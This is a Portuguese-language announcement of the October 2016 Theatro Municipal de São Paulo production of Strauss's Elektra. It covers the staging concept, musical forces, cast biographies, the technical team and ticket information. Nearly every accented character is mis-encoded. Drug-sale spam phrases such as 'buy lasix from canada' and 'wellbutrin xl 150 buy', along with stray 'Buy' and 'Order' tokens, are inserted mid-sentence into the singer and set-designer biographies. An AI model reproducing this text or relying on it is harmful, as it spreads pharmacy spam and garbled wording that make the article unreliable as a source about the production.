Escrito por em 1 out 2016 nas áreas Ópera, Programação, São Paulo

A�pera de R. Strauss, com direA�A?o de Livia Sabag, A� encenada no Theatro Municipal de SA?o Paulo pela primeira vez.

 

O Theatro Municipal de SA?o Paulo apresenta, pela primeira vez, a A?pera Elektra, de Richard Strauss, entre os dias 9 e 20 de outubro. As rA�citas ocorrem de terA�a-feira a sA?bado, A�s 20h, e domingo, A�s 17h. ApA?s a remontagem de La BohA?me e a encenaA�A?o russa de Lady Macbeth do Distrito de Mtsensk, esta A� a primeira montagem inA�dita da temporada lA�rica deste ano.

A�pera em um A?nico ato, sem intervalos, com 110 minutos aproximadamente, Elektra teve sua estreia em 25 de janeiro de 1909 em Dresden, na Alemanha. O enredo A� ambientado em Micenas, logo apA?s a Guerra de Troia. AgamA?mnon, um dos herA?is da guerra, ao voltar pra casa A� assassinado pela esposa Clitemnestra com ajuda do amante. Elektra, uma das filhas de AgamA?mnon e Clitemnestra, deseja matar a mA?e por vinganA�a pela morte de seu pai.

O libreto, uma adaptaA�A?o da peA�a escrita pelo poeta Hugo von Hofmannsthal, recria a narrativa do mito grego de Electra. Uma das mais prestigiadas criaA�A�es do compositor alemA?o Richard Strauss, a A?pera coloca foco nas relaA�A�es e na psicologia dos personagens.

Na produA�A?o levada ao palco do Municipal, concebida pela diretora brasileira Livia Sabag, os personagens deixam de ser vilA�es ou heroA�nas e se tornam figuras complexas e contraditA?rias da vida real contemporA?nea. A A?pera sai da questA?o moral, do “se A� justo ou nA?o matar?” e adentra as relaA�A�es de uma famA�lia emocionalmente destruA�da e que nA?o consegue sair de um ciclo de sofrimento. “Na minha leitura, a Elektra revive tudo, todo o assassinato, como alguA�m traumatizado, e fica presa nisso sem conseguir se libertar. JA? Clitemnestra bloqueia. Ela nem consegue lembrar o que a deixa tA?o transtornada”, comenta.

Fazendo um paralelo com o cinema, a montagem de Elektra se inspira em caracterA�sticas dos filmes de Ingmar Bergman e Lars von Trier, famosos por retratarem personagens complexos e suas angA?stias. Temas como a solidA?o e a busca existencial de sentido para a vida, presentes na produA�A?o desses cineastas, poderA?o ser identificados pelo pA?blico na A?pera.

 

Cenografia

O sombrio estarA? presente em todo o PalA?cio Real de Micenas, residA?ncia da famA�lia. A cenografia assinada por NicolA�s Boni serA? dividida em quatro ambientes: quintal, uma copa, um hall e um depA?sito, onde Elektra vive em meio a lembranA�as do pai AgamA?mnon. “SerA? possA�vel ver o que acontece ao mesmo tempo nos diferentes espaA�os. Os locais serA?o retratados quase sem saA�da e sufocantes, o que contribui simbolicamente para nos aproximar da angA?stia existencial permanente da personagem principal”, explica.

 

MA?sica

Elektra A� uma A?pera famosa por sua intensidade musical. A grandiosidade A� tanta que serA?o necessA?rios quase 100 mA?sicos da Orquestra SinfA?nica Municipal de SA?o Paulo. A� frente da orquestra estarA? o maestro residente Eduardo Strausser. “Junto com O Cavaleiro da Rosa e SalomA�, essa A� uma das A?peras mais famosas de Strauss. Exige uma concentraA�A?o mA?xima de todos os mA?sicos envolvidos devido a sua exigA?ncia tA�cnica”, esclarece o maestro.

AlA�m das fortes variaA�A�es na mA?sica, as rA�citas sA?o um desafio para as cordas vocais por causa dos trechos intensos de grande parte da composiA�A?o. Ao todo, 74 cantores, sendo seis solistas, do Coro LA�rico Municipal de SA?o Paulo, sob a regA?ncia de Bruno Greco Facio, participarA?o de todas as apresentaA�A�es.

Na interpretaA�A?o da personagem tA�tulo se revezarA?o Catherine Foster e Eva Johansson. No papel de Clitemnestra estarA?o Natasha Petrinsky e Susanne Resmark.

O elenco conta ainda com os cantores Emily Magee e Melanie Diener (intA�rpretes da personagem CrisA?temis), Order Kim Begley e JA?rgen Sacher (Egisto), Albert Dohmen e Johmi Steinberg (Orestes), entre outros.

Cena de "Elektra" no TMSP

Cena de “Elektra” no TMSP

 

Os artistas

Catherine Foster, soprano (Elektra)
Catherine Foster ganhou proeminA?ncia internacional apA?s interpretar BrA?nnhilde na montagem de O Anel dos Nibelungos do Festival de Bayreuth, com direA�A?o de Frank Castorf e regA?ncia de Krill Petrenko. Estudou com Pamela Cook no Birmingham Conservatoire e, posteriormente, no Royal Northern College of Music (como vencedora do prA?mio Dame Eva Turner) e no London Opera Studio, como bolsista do Peter Moores Foundation. DeA�2001 aA�2011, foi membro do Deutsches Nationaltheater und Staatskapelle de Weimar, onde interpretou papA�is como MimA�, Senta, Elisabeth em TannhA�user e em Don Carlo, Leonora em Il Trovatore e em Fidelio, e Elettra em Idomeneo. Ainda em Weimar, desenvolveu-se tecnicamente e ampliou seu repertA?rio para papA�is mais dramA?ticos, como Tosca, Abigaille, Isolda, BrA?nnhilde e Elektra.

AlA�m dos compromissos no teatro de Weimar, como solista convidada, cantou Abigaille em Nabucco, Elektra, Kaiserin em Uma Mulher sem Sombra, Isolde, Leonora em Fidelio e BrA?nnhilde em grandes teatros, como Dresden Semperoper, Hamburg Staatsoper, Deutsche Oper e Staatsoper de Berlim, Liceu de Barcelona, ColA?nia, Helsinki, Riga, AmsterdA?, Sevilha, Nice, TA?quio, Xangai, Budapeste, Bucareste, Essen, Stuttgart, Mannheim, Bremen e Kassel. Colaborou com grandes maestros como Marek Janowski, Daniel Barenboim, Simone Young, Adam Fischer, Hartmut Haenchen e Donald Runnicles.

Recentemente, participou de montagens de Nabucco, em Stuttgart, buy lasix from canada Turandot Buy , na Deutsche Oper e na PolA?nia, de concertos no Musik Verein de Viena, de duas produA�A�es de O Anel dos Nibelungos, uma em Washington, outra em Bayreuth, e de Elektra, em Wiesbaden.

 

Eva Johansson, soprano Buy (Elektra)
Nascida em Copenhague, Eva Johansson estudou na Academia Real de A�pera e no ConservatA?rio Real, e fez sua estreia no Teatro Real de Copenhague em 1982 como Condessa em As Bodas de FA�garo, onde foi residente por seis anos.

Em 1988, GA�tz Friedrich a convidou a ir para a Deutsche Oper Berlin. Seu repertA?rio inclui papA�is como MimA� em La BohA?me, Pamina em A Flauta MA?gica, Donna Anna em Don Giovanni, Fiordiligi em CosA� fan Tutte, LiA? em Turandot, Tatjana em Eugene Onegin, Leonore em Fidelio, Agathe em O Franco-Atirador, Regine em Mathis der Maler, Senta em O Navio Fantasma, Eva em Os Mestres Cantores de Nuremberg, Elisabeth em TannhA�user, Elsa em Lohengrin, Freia em O Ouro do Reno, Gutrune em O CrepA?sculo dos Deuses, BrA?nnhilde em A ValquA�ria e em O CrepA?sculo dos Deuses, Isolda em TristA?o e Isolda, Kaiserin em Uma Mulher sem Sombra, Ariadne, SalomA� e Elektra.

A� convidada frequente do Festival de Bayreuth, Metropolitan Opera, La Scala, Wiener Staatsoper, Bayerische Staatsoper, Semperoper Dresden, Staatstheater Stuttgart, Royal Opera House, OpA�ra Bastille e OpA�ra Garnier de Paris, Liceo de Barcelona, entre outros. Apresentou-se sob a regA?ncia de Claudio Abbado, Simon Rattle, James Levine, Daniel Barenboim, Valery Gergiev, Marek Janowski, Christian Thielemann, Wolfgang Sawallisch, Bernard Haitink, Christoph von DohnA?nyi e Peter Schneider.

Em 2013, fez sua estreia como Emilia Marty em O Caso Makropoulos, de LeoA? JanA?A?ek, em VarsA?via, e foi BrA?nnhilde em A ValquA�ria, em novas produA�A�es em Leipzig e TA?quio, e em O CrepA?sculo dos Deuses, em Mannheim. Seus prA?ximos compromissos incluem concertos em Berlim e TA?quio, e Elektra em Pequim.

 

Orquestra SinfA?nica Municipal de SA?o Paulo
A formaA�A?o da Orquestra SinfA?nica Municipal de SA?o Paulo remonta a 1921, dez anos apA?s a inauguraA�A?o do Theatro Municipal, por meio da Sociedade de Concertos SinfA?nicos de SA?o Paulo. Em mais de 90 anos de histA?ria, a Orquestra tocou sob a regA?ncia de maestros como Mstislav Rostropovich, Ernest Bour, Maurice Leroux, Dietfried Bernett, Kurt Masur, alA�m de Camargo Guarnieri, Armando Belardi, Edoardo de Guarnieri, Eleazar de Carvalho, Isaac Karabtchevsky, Sergio Magnani, alA�m de vA?rios compositores regendo suas obras, como Villa-Lobos, Francisco Mignone, Penderecki e John Neschling. Solistas de renome se apresentaram com o grupo, como Magda Tagliaferro, Guiomar Novaes, Yara Bernette, Salvatore Accardo, Rugiero Ricci, dentre muitos outros.

 

Eduardo Strausser, regA?ncia
Desde agosto de 2014, Eduardo Strausser A� regente residente do Theatro Municipal de SA?o Paulo. Nesta temporada, regeu La BohA?me, de Puccini, e regerA? Fosca, de Carlos Gomes.

No TMSP, dirigiu grandes artistas, como Gregory Kunde, Vitalij Kowaljow, Andrei Bondarenko, Lana Kos e Svetlana Aksenova. Regeu orquestras como a KurpfA�lzischen Kammerorchester, de Mannheim, a Orquestra SinfA?nica de Berna, a SA?dwestdeutsche Philharmonie Konstanz, a Berliner Camerata e o Festival de Cordas de Lucerna. Com a Meininger Hofkapelle, regeu A Flauta MA?gica, de Mozart.

Este ano, Strausser fez sua estreia com a Orchestra Filarmonica do Teatro La Fenice, de Veneza, e no Theatro Municipal do Rio de Janeiro, e retornarA? A� Berliner Camerata e ao Teatro Verdi, de Padova. Entre 2012 e 2014, foi diretor artA�stico da Orchesterverein Wiedikon e da Kammerorchester Kloten, em Zurique.

Nascido em SA?o Paulo, em 1985, Strausser estudou na ZA?rcher Hochschule der KA?nste, na qualA�recebeu com distinA�A?o os tA�tulos de mestre e especialista na classe do renomado professor Johannes Schlaefli. Em 2007, passou o verA?o em KA?rten, Alemanha, onde estudou anA?lise e interpretaA�A?o com Karlheinz Stockhausen. Participou de masterclasses com Bernard Haitink e David Zinman, na SuA�A�a, e com Kurt Masur, em Nova York. Em 2008, foi selecionado para participar do prestigiado FA?rum Internacional de Regentes do Ferienkurse fA?r Neue Musik, em Darmstadt, onde teve a oportunidade de trabalhar com compositores como GyA�rgy KurtA?g e Brian Ferneyhough.

 

Coro LA�rico Municipal de SA?o Paulo
Formado por cantores que se apresentam regularmente como solistas nos principais teatros do paA�s, o Coro LA�rico Municipal de SA?o Paulo atua nas montagens de A?peras das temporadas do Theatro Municipal, em concertos com a Orquestra SinfA?nica Municipal, com o BalA� da Cidade e em apresentaA�A�es prA?prias.

Desde 2013 sob o comando de Bruno Greco Facio, o grupo passou por um aprimoramento tA�cnico e vocal e, hoje, conta com mais de 80 integrantes prontos para interpretar diferentes papeis em A?peras cantadas em idiomas como o italiano, alemA?o, francA?s, russo e espanhol, como acontece na A?ltima temporada.

O Coro LA�rico foi criado em 1939 e teve, como primeiro diretor, o maestro FidA�lio Finzi, que preparou o grupo para a estreia em Turandot, em 13 de junho de 1939. Em 1947, Sisto Mechetti assumiu o posto de maestro titular e, somente em 1951, o coro foi oficializado, sendo dirigido posteriormente por Tullio Serafin, Olivero De Fabritis, Eleazar de Carvalho, Armando Belardi, Francisco Mignone, Heitor Villa-Lobos, Roberto Schnorrenberg, Marcello Mechetti, FA?bio Mechetti e MA?rio Zaccaro.

O Coro LA�rico Municipal recebeu os prA?mios de Melhor Conjunto Coral de 1996, pela APCA, e o Carlos Gomes 1997 na categoria A�pera.

 

Bruno Greco Facio, regente do Coro LA�rico Municipal
Paulistano, graduado em composiA�A?o e regA?ncia pelas Faculdades de Artes AlcA?ntara Machado, estudou sob a orientaA�A?o dos mestres Abel Rocha, Isabel Maresca e Naomi Munakata. No ano de 2011, assumiu a regA?ncia do Collegium Musicum de SA?o Paulo, tradicional coro da capital, dando continuidade ao trabalho musical do maestro Abel Rocha. Por 11 anos, dirigiu o Madrigal Souza Lima, trabalho responsA?vel pela formaA�A?o musical de jovens cantores e regentes.

Em 2010, foi preparador do coro da Cia. Brasileira de A�pera, projeto pioneiro do maestro John Neschling que percorreu mais de 20 cidades brasileiras com a A?pera O Barbeiro de Sevilha, de Gioachino Rossini. Tornoua��se regente titular do Coral Paulistano em fevereiro de 2013 e, em dezembro do mesmo ano, assumiu a direA�A?o do Coro LA�rico Municipal de SA?o Paulo.

 

Livia Sabag, direA�A?o cA?nica
A paulistana Livia Sabag A� formada em Artes CA?nicas pela Universidade de SA?o Paulo. Desde sua estreia como diretora cA?nica de espetA?culos operA�sticos em 2003, vem se tornando uma das mais importantes profissionais da A?rea no paA�s.

Em 2013, dirigiu a elogiada produA�A?o de The Turn of the Screw, de Britten (finalista do PrA?mio da Revista Concerto e do PrA?mio Folha de SA?o Paulo como melhor espetA?culo operA�stico de 2013), no Theatro SA?o Pedro, e Madama Butterfly, realizada no Jardim JaponA?s da FundaA�A?o ZoobotA?nica de Belo Horizonte.

No ano anterior, dirigiu O Rouxinol, de Stravinsky, no Theatro Municipal de SA?o Paulo, e Lucia di Lammermoor, de Donizetti, na Manhattan School of Music em Nova York. Em 2011, dirigiu a produA�A?o de La��Enfant et les SortilA?ges, de Ravel, nas comemoraA�A�es dos 100 anos do Theatro Municipal de SA?o Paulo, e realizou sua estreia internacional dirigindo a A?pera Falstaff na Manhattan School of Music. La��Enfant et les SortilA?ges recebeu seis prA?mios no XV PrA?mio Carlos Gomes, entre eles os de Melhor EspetA?culo e Melhor DireA�A?o CA?nica.

Entre 2007 e 2010, dirigiu as A?peras Rigoletto, de Verdi, I Pagliacci, de Leoncavallo, A Water Bird Talk, de Dominick Argento, The Bear, de William Walton, Amelia al Ballo, de Menotti, e Il Matrimonio Segreto, de Cimarosa. Ainda em 2014, Livia dirigiu As Bodas de FA�garo, de Mozart, no Theatro SA?o Pedro.

Leia entrevista com Livia Sabag

 

NicolA�s Boni, cenA?rios
Formado em artes plA?sticas e mA?sica pela Universidade Nacional de Rosario, NicolA�s Boni A� doutorando em Historia da Arte e membro do Centro de Pesquisas de Arte Argentina e Latino-americana desta mesma instituiA�A?o. AlA�m disso, estudou cenografia e direA�A?o no Instituto Superior de Arte do Teatro ColA?n, de Buenos Aires.

Trabalha como cenA?grafo em diversos teatros da AmA�rica Latina, Estados Unidos e Europa. Entre os principais tA�tulos estA?o as zarzuelas La Verbena de la Paloma, La Gran VA�a, Las Nuevas Armas de Amor, Iphigenia en Tracia e as A?peras O Barbeiro de Sevilha, Cavalleria Rusticana, Madame Butterfly, I Pagliacci, La Voz Humana, Carmen, Os Contos de Hoffmann, Don Giovanni, La Rondine, Lucia de Lammermoor, As Bodas de FA�garo online , wellbutrin xl 150 buy Don Carlo, Manon, La BohA?me, Um Baile de MA?scaras, Macbeth, Lucrezia Borgia, The Turn of the Screw, Rigoletto, Falstaff, Romeu e Julieta Order e TannhA�user, de Richard Wagner, com direA�A?o de Gustavo Dudamel.

Em 2014, foi o cenA?grafo de SalomA�, de Strauss, no Theatro Municipal de SA?o Paulo, ganhando o prA?mio da crA�tica como a melhor produA�A?o de A?pera. Neste mesmo ano, estreou uma nova produA�A?o de As Bodas de FA�garo, no Teatro SA?o Pedro, recebendo o prA?mio do pA?blico como a melhor produA�A?o de 2014.

Em 2015, estreou as A?peras Um Homem SA?, de Camargo Guarnieri; Ainadamar, de Osvaldo Golijov, no Theatro Municipal de SA?o Paulo; Werther, de Massenet, para a A�pera de Colombia; e I Due Foscari, de Verdi, para o Teatro Municipal de Santiago do Chile.

Em 2016, estreou em SA?o Paulo e no Rio de Janeiro Don Quichotte, de Massenet, com direA�A?o de Jorge Takla, e o musical My Fair Lady com o mesmo diretor. Desde marA�o deste ano, NicolA�s A� o diretor tA�cnico do Theatro Municipal de SA?o Paulo.

 

FA?bio Namatame, fugurinos
Formado em Publicidade e Artes PlA?sticas pela FAAP em 1981, FA?bio Namatame realiza trabalhos de direA�A?o de arte, cenA?rio e figurino para teatro, A?pera, danA�a, publicidade, cinema e TV. A� ganhador de diversos prA?mios, como Shell, Apetesp, APCA, Mambembe, Cultura Inglesa, Sesc SA?o Paulo, PaulA�nia de Cinema, Carlos Gomes de A�pera, PrA?mio Sesc/Sated de Belo Horizonte e PrA?mio Usiminas Sinparc.

Colaborou com importantes artistas como Bibi Ferreira, MarA�lia PA?ra, Denise Stoklos, Ivaldo Bertazzo, JA? Soares, Diogo Vilella, Jorge Takla, JosA� Possi Neto, AndrA� Heller-Lopes, Carla Camurati, Willian Pereira, Fernando Portari, Susana Yamauchi, Fabio AssunA�A?o, Cristina Mutarelli, Vivien Buckup, Regina Galdino, Carlos Alberto Sofredini, Elias Andreato, Ligia Cortez, Alexandre Heineck, AntA?nio AraA?jo e Paulo Yutaka, e com companhias de danA�a como o BalA� da Cidade de SA?o Paulo, Cia. de DanA�a de Belo Horizonte, Cia. Sociedade Masculina de DanA�a e Cia. Cisne Negro.

Seu repertA?rio operA�stico inclui criaA�A�es para O Guarani, Carmem, Madame Butterfly, As Bodas de FA�garo, Falstaff, Romeu e Julieta, Andrea ChA�nier, Os Pescadores de PA�rolas, A Tempestade, Olga, Rigolleto, Porgy & Bess, Pedro Malazarte, Idomeneo, A ViA?va Alegre, entre outros tA�tulos.

 

Caetano Vilela, iluminaA�A?o
O nome Caetano Vilela ganhou destaque no mundo da A?pera tendo realizado dezenas de produA�A�es em importantes teatros no Brasil e no exterior.

Destaque das suas encenaA�A�es para as A?peras Lady Macbeth do Distrito de Mtzensk (2007), Ariadne em Naxos (2008) e Os Troianos (2009), todas no Teatro Amazonas; O Navio Fantasma (2013) e Mefistofele (2014) para o Teatro da Paz; Um Homem SA? e Ainadamar (2015) para o Theatro Municipal de SA?o Paulo; O Homem dos Crocodilos e Edipo Rei (2015) para o Teatro SA?o Pedro. Sua estreia no Teatro Municipal do Rio de Janeiro foi com com Orfeu e EurA�dice, em 2016.

Iluminou o musical The Sound of Music, sob a direA�A?o de Emilio Sagi, para a temporada 2009a��2010 no ThA�A?tre du ChA?telet, em Paris. Em 2013, ano do bicentenA?rio de Richard Wagner, iluminou TannhA�user, sob a regA?ncia de Gustavo Dudamel, para a temporada de A?pera em BogotA?. Ganhou o PrA?mio Shell de IluminaA�A?o, em 2011, pelo espetA?culo Dueto para Um e foi indicado novamente para o mesmo prA?mio em outras produA�A�es teatrais em 2014, 2015 e 2016. Em 2015, foi selecionado junto a outros artistas brasileiros para representar o Brasil na Quadrienal de Praga (Performance Design and Space), exposiA�A?o mundial de criadores da A?rea teatral na RepA?blica Tcheca.

Neste ano de 2016, Caetano voltou a dirigir para o Festival de A�pera do Theatro da Paz, em queA�assinou a produA�A?o de Turandot.

Buy Leia entrevista com Caetano Vilela

 

FICHA TA�CNICA:

Livia Sabag, direA�A?o cA?nica
NicolA�s Boni, cenografia
FA?bio Namatame, figurinos
Caetano Vilela, iluminaA�A?o
Bruno Greco Facio, regente do Coro LA�rico
Eduardo Strausser, regente

ELENCO:

Elektra: Catherine Foster (9, 13, 16 e 20/10) / Eva Johansson (12, 15 e 18/10)
Clitemnestra: Natasha Petrinsky (9, 13, 16 e 20/10) / Susanne Resmark (12, 15 e 18/10)
CrisA?temis: Emily Magee (9, 13, 16 e 20/10) / Melanie Diener (12, 15 e 18/10)
Egisto: Kim Begley (9, 13, 16 e 20/10) / JA?rgen Sacher (12, 15 e 18/10)
Orestes: Albert Dohmen (9, 13, 16 e 20/10) / Johmi Steinberg (12, 15 e 18/10)
Tutor de Orestes: Carlos Eduardo Marcos
Confidente: Elayne Caser
Camareira: Camila Rabelo
Jovem ServiA�al: Miguel Geraldi
Velho ServiA�al: Matheus FranA�a
Governanta: Elaine Morais
Primeira Criada: Magda Painno
Segunda Criada: Malena Dayen
Terceira Criada: Lidia SchA�ffer
Quarta Criada: Masami Ganev
Quinta Criada: Lina Mendes
ServiA�ais: Berenice Barreira / Larissa Alvarazzi / Keila de Moraes / Caroline Jadach / Elaine Martorano / Clarice Rodrigues

 

Fotos: Arthur Costa

 

SERVIA�O:

 

“Elektra”, A?pera em um ato de R. Strauss

 

Orquestra SinfA?nica Municipal de SA?o Paulo

Coro LA�rico Municipal de SA?o Paulo

Livia Sabag, direA�A?o cA?nica

Eduardo Strausser, regente

 

9, 12, 13, 15, 16, 18 e 20 de outubro a�� terA�a-feira a sA?bado, A�s 20h; domingo, A�s 17h
Theatro Municipal de SA?o Paulo (PraA�a Ramos de Azevedo, s/n, Centro a�� SA?o Paulo. Tels.: 11 3053-2100 e 3053-2090)

 

Ingressos: de R$ 50 a R$ 160, com meia-entrada para estudantes

 

Capacidade: 1.500 lugares

SugestA?o etA?ria: 16 anos

DuraA�A?o aproximada: 110 minutos

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